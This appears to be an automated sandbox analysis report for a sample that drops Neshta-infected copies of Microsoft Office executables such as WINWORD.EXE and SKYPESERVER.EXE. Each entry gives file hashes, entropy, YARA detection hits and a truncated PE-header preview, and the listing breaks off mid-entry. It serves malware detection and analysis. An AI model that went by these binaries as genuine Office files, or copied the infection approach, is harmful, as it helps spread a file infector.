Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	670928
Entropy (8bit):	6.025784704076014
Encrypted:	false
SSDEEP:	12288:ewbRB+ZRhFfGNpzX5PtiPWRnTLtx5eq4/RnYRoS2Ds+2EYR1XLlShtg7ksyST2Rz:ewbT+ZR3fGrzX5PtiPWRnTLtx5eq4/R9
MD5:	7C0014593C4D645EC8F351AB5F1AB01D
SHA1:	967B743450942FF50B9E75281B40B215478D85F0
SHA-256:	638614E2B6B2A4E1EB168BF56825B004EF1F247C6E8F27D103BD1D05F18BB0E6
SHA-512:	E826164FA068FE3709D1D385CBDA3CA3CA5E6A28A50151CFBB214F3C19783D967F67567E40B390E4905655D8340FCC577A63C97293E0110A1E5F3F6651AEB7FC
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	115920
Entropy (8bit):	6.223528340566431
Encrypted:	false
SSDEEP:	1536:JxqjQ+P04wsmJC5w9K75Rp1Ukkz2zct/rzdaBotnMuvWM6TUaE:sr85C5w9K1Fiz2ir+o5vWM6TUaE
MD5:	499B11002EBE7BD06FB04458174FF873
SHA1:	AF90D819CBB316CC4CD9DB1D1E1876129BF6EABD
SHA-256:	D59CFF7BC9B1DE8E82D900CDC3A6E2969A14E454FECF6FD068B51CDF1FD6125A
SHA-512:	3392C369F2E777155C76E35D1A9309870C87033FBFF32DBA4CCE3AF8525EC49E397C3655016C34B00BC8A7913E0E73151C2C00A0138C639D15CBDC9A16F0478D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	137776
Entropy (8bit):	6.532718929417626
Encrypted:	false
SSDEEP:	1536:JxqjQ+P04wsmJCfLS+I1HtQdiHN4zbyezltnzGd1XuDxhkrTJwNZ5wmW1aHbfC:sr85CsMi+zWeXdswvqiHm
MD5:	0113D4FE73CAEE2B078E5C5B22E0A55A
SHA1:	DF82348BA214A6969E368DD516BE07AACADC3144
SHA-256:	1415C64134FA9678BD5CBB27D189C8CC84BEE485E7CD1454FC2180FEABF8864F
SHA-512:	B0DE44B4E1B6B33C7479C54F02EF6663CF3C2F88CD736423438B46B4E199B5FD51C3E99239BB8B16D6888C613A8CE43D124CB9DAB8ADB561100792452FEDEEF5
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1206680
Entropy (8bit):	4.883403224196095
Encrypted:	false
SSDEEP:	12288:E61ZFViRpx5tuwZl4asd/arEISgX0IkEMhTy:E61jViRTfVINdCr6gX0hEl
MD5:	C3E399A5C28495C77505132DA8625D40
SHA1:	7F1BC44F6A53E73B222CA0FEC685D4273BD4DFC9
SHA-256:	DBA08F8269955771CC3598E1168843F954B0CBCAB7A74BEF8905F56C111F2C55
SHA-512:	72C810017137B35B956E26BB0730F1E4EFC0CFDE9BDD5266FCB993CE69635CDA50EB9B3223CCFC2C340D336BAD4F78205D60A7625E37A72A2796C0A5537DEA5C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	400336
Entropy (8bit):	6.662296849527125
Encrypted:	false
SSDEEP:	12288:81rOCPapfd5bhooUBuFiExw/LXa20Dj6EzfJ:ArfIbbhooUBu3wzXa/Dj64
MD5:	5087CFC731A5F640730910C5104B27FE
SHA1:	3B723898F092788548173BB2DD0C55A85D1D7C92
SHA-256:	CACE1F97FC187C817C1FAE597C47782279115799F495462F9BA1EBF1C97001A3
SHA-512:	A3FBBB913B2D3827B9191C394D2A0EB76FA71A8C870BAF05BB68A04FFAB76BA0F4500D13B5024FF27E39BA671CEEC9B5BA1715D04BD2961ECE04BC4FE6D8E222
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1662344
Entropy (8bit):	4.282519659984365
Encrypted:	false
SSDEEP:	3072:sr85CdK2OKsuWoZEsVK2OKsuWoZEckAQckAIDpAPfKrss1yyKrss1yAZDvYbNDz8:k9DztkAzkAZqrEdrEAZUCwFjNNYEzcL
MD5:	7A621A47B55EB778A1DC58DA026F13FA
SHA1:	179FC259659B020F4495DBDB9349A78EEA8D172B
SHA-256:	9591264BFC2E13FB5BC8277DDB0FA59F3CB6F9941BE54B340689CB2D3028BDE2
SHA-512:	0964AF4B382A17CE52F817906914D990AD4B2584CCAF7B8887BE7058C4AFE3255741344DE6FC6AD0744717106986E7723F1C9F5CBD7A13A32C552AC70AD25E56
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3531712
Entropy (8bit):	3.7844153091218713
Encrypted:	false
SSDEEP:	6144:k95gSRJQYKV++VYwjatvsDVpDsehRAKzYM:SQYZTWbDj5
MD5:	9144CA1B12B7793E8F18045B281D81C2
SHA1:	843A088B9482492885E81B8A5DB7DF5A7A99313F
SHA-256:	0C4894C91F6FC680FB1A761CF708032C6E792E806F47ABF0C0AD5B674188CB7B
SHA-512:	A609FC1D8A13D6BC46B80E975DC68930D28447852C5F53DE30A471CC989B6CB5C9CBE35A745518B482B283E32A65D6C1E5F41B02B49790E35F91DF1D8D0B3019
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83880
Entropy (8bit):	6.556805464011577
Encrypted:	false
SSDEEP:	1536:JxqjQ+P04wsmJCEKfEBr3fHT4nAzHGkYJ+ziw6+zb:sr85CEPh3IAzHGEJn
MD5:	71B80598872DD0D2851C781764A85A22
SHA1:	B6CA4DBD84F0F4E26E641FD8039285AF43AEF337
SHA-256:	8295A24E5CFAB75404E37EA3986F43B62512E269934814EC08A10B36BE6C0B85
SHA-512:	259C91998EE162BCE784798266D60BB5C97A368E62E42A6791FE2F396399D73496ABEE3699453F4C04CFC968E3421F68981A14CA767BEF2E341FE9E950F97CFE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4319112
Entropy (8bit):	3.8167825827469506
Encrypted:	false
SSDEEP:	6144:k9xUh82lTMY/C3uuQyMyquNlBXYJ7M444IB:kkyIgG47B
MD5:	A660A24C48B0673B94A8410325C43C5C
SHA1:	E601D5482D7386BA4731F659A39447D076A4DDB6
SHA-256:	4E5802F6C0D19AE853A12439906714659D4FC2D2C5D72462D905077794E3F3AC
SHA-512:	51DDAB96D9703744D4EE204A064767B2783FE2ED82082CF63149FCFCB983BCA444C9A42554F72D67BE026859C1C476FAB700849C5D0D16E204A213F36756A436
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	785448
Entropy (8bit):	3.9404929226943075
Encrypted:	false
SSDEEP:	6144:k9dWSXeSC+hBMdNRneNMToeGYeneqjpGtBlmF:iLevUEcLe9l2
MD5:	03818EEB657D70002E0746E88B0AD5E0
SHA1:	5B16DC83561232312883A5E49EA8917B1EE45718
SHA-256:	00D746A158A3868BEB2F20D8F66789675BB981242A10DA5D1679B83F3F7BAC9C
SHA-512:	CD71721A34385D604352492D7A148F6C3AC144FB6B72D225A4F2ACDD4B309B703ED0036B429AEB31FE63B731773AD6A8FE77BFD620BA9537036BDEB90BF8313C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1081280
Entropy (8bit):	3.7785410128751282
Encrypted:	false
SSDEEP:	3072:sr85C4yTUawK12P04ti0o5gmQNJDJnJG20FxPlJPJSS12Zzwww6G:k94s4wqmQN59wtSS2zwmG
MD5:	35D2A4B29F56EDDF4C5EE9AA5B79CC61
SHA1:	BC00C9FC4FAE06D0EC90A9F15915345E7025F153
SHA-256:	BC8A2062F6B156A773EBFA34125DC8673F960DD057C579D2C74181901C6AA644
SHA-512:	3CE8168A6EDCBD4A4AB4135EE7BBDF2923A62E4ADECFF19E183B2C54E5903318C5CB956AE28A76F04B63C7A3DD3E464C4AE90AF2D08F1FF5F53F525532B927DB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1722808
Entropy (8bit):	6.4873312334955235
Encrypted:	false
SSDEEP:	49152:Fuoh1EWXRkd+h9y6NsRZ9MtL4kD5G5LVuhqITJemL9SQM3:FuohO2km9PNsRZ9MtL4ktG5LV93
MD5:	F8441CD2F8B20FD75340EDDA57BDB891
SHA1:	E194B384448281D8821C7F78FA2083616B7D7339
SHA-256:	1F73799D4D76692CC95E6083B10990BACBB90BC016AF0D84A3B9DD5C7F03FAE5
SHA-512:	B1825AD19B960FAECDD8AF9675F29999363A3858A26E6FE610E03FBB4E84D62FC68BBBFCCAF7CE51C161B1DA011298CC4EEC43E57F35D24701AD249CC6678F81
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	307784
Entropy (8bit):	6.544986970069708
Encrypted:	false
SSDEEP:	6144:k9Q+OpwoajoJ/cLr6eNI0A2kg79zge/ceeE1+v:zDWhS5g72veeU+v
MD5:	279AEE74740799844410CC17E9D7DD88
SHA1:	B2CD4BDD168C44DD877F12020E236681423F667F
SHA-256:	7FD117BC2E9167ACEB2A2E767F868C300645AE6A81F497B307FB8A5D3CF82DDF
SHA-512:	0447B166C1F28B9EFB7820349CE7277749B7155E98D7195DBB9509DD0FD0C1793E7A1C9B28C18F8618C1C23F9D7AF46704A313BE9FE4AF01886F9576BBF40EA8
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	97920
Entropy (8bit):	6.445251735006175
Encrypted:	false
SSDEEP:	1536:JxqjQ+P04wsmJCWzKAtCz72I/Q/RPTO5piDDFwzS:sr85CWuFvgy5piDD6zS
MD5:	BC9B4C47C903C054F90FFAF5AE807D5A
SHA1:	5E293D1A9AD5148B5DF0E4B3294C001A01AD81A4
SHA-256:	A26CA014A17928D1EDF1C1560B4B3E53F856C2AEF88C293EE78F6CDAB15FEF91
SHA-512:	7AA4B8756668DBCE4C5232EF7334DD7867E9F5107941E0F65BAE3FBCBC510275E69983372F03BF8A939DC4B4008F41470736D720E25969C5D913A5EDA9D40496
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1994448
Entropy (8bit):	6.549997020090568
Encrypted:	false
SSDEEP:	49152:3l8U9+tiqfG7C+5I6ZOX0Bh4MdDHc/EBRXXZUABfmcQ:3l8+++7hOXODHc/EdQ
MD5:	4BE8C1392D391FEAA6FB26CFA69BDFC9
SHA1:	FA3209AD786AB39EF8A4EF173E9C7291A9BCEB18
SHA-256:	2F182A705D4FED647B1BEC5729151DDC040EC3778825C212158B070F7BF06975
SHA-512:	1D77C2398EDA378C14EF19511C0A490BDCE2437DDF2E28BC9A85E1ED04991DD5FAA178C6C9E6019165C74DF4E8BCCEBDA6973D40067C019911B019AA3BC26677
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	275872
Entropy (8bit):	4.23571320386301
Encrypted:	false
SSDEEP:	1536:JxqjQ+P04wsmJCt6gJJRaCAd1uhNRu7z3zHt4s+zbCtbCc0xXNmi9RHYOqEWpVO/:sr85Ct6gxe7z3OzY+9jTYbE+la
MD5:	CB1984EACAD27ABC9F009A4AD963A49A
SHA1:	5C6C4EC164A7C41332B605C6D9817030A473BB48
SHA-256:	DC15534405AA721E4B8F70A910B991ABB4F4F9A5A823A985110D56BAC974B881
SHA-512:	9806C1F7B4436442159BFD3D1D74308850072A343C059C3749BD5FA4DDFEAC9DAB3ED61E5A35A5E1CC717C3CDF2735B93FA1C99D5A27E1ACD276326D17E5ED06
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	751520
Entropy (8bit):	6.5238755488474665
Encrypted:	false
SSDEEP:	12288:PccV8BFJ0kz4uP9V6wY2M48aVNfffNfYRweSat8UVNfffNfRtAUUn4lDW7f5sBzl:POFJbl/6r2M48aVNfffNfWVNfffNfDw+
MD5:	B3C7E94C586500725E1F446C6A930D91
SHA1:	54719B158873B1E2402767498F31256321D856BD
SHA-256:	1A5CEC0A13524316A7D6646039EBA275C22F22CA164F30B4F50316220F299441
SHA-512:	089FE8377087A4EF69D89B75BE8E3442D5C20930C27E7E7FD24E455C96397FE8B7186E3DFF7F1B1FE71853A0C367EB392B6B59B1DCD726C1BEC7937D2BFE4E07
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	182712
Entropy (8bit):	6.326834639732507
Encrypted:	false
SSDEEP:	3072:sr85CRDbGpEPwVH+lMCNy0GEVVS1ikLrDdevXqHai8MBEL4:k9RXSSwVgvfkhvzHcWEM
MD5:	9103C2F76BDB6251CE480EE775266524
SHA1:	0F0C95B1A253D32BB23A99A72F5A77D91387A6B1
SHA-256:	D51F101246783235E88373EF28189EE54C97F41E46341BE0AF0D4DC455016E3A
SHA-512:	8F9598DF6E31EC58FDEEDF42E9A60C42ECC3A278E546614AA36177995DB61F3E2A3887564A2707AB4669082AE3CB2FAB5765D251F7970572C232BB1650216FCA
Malicious:	true
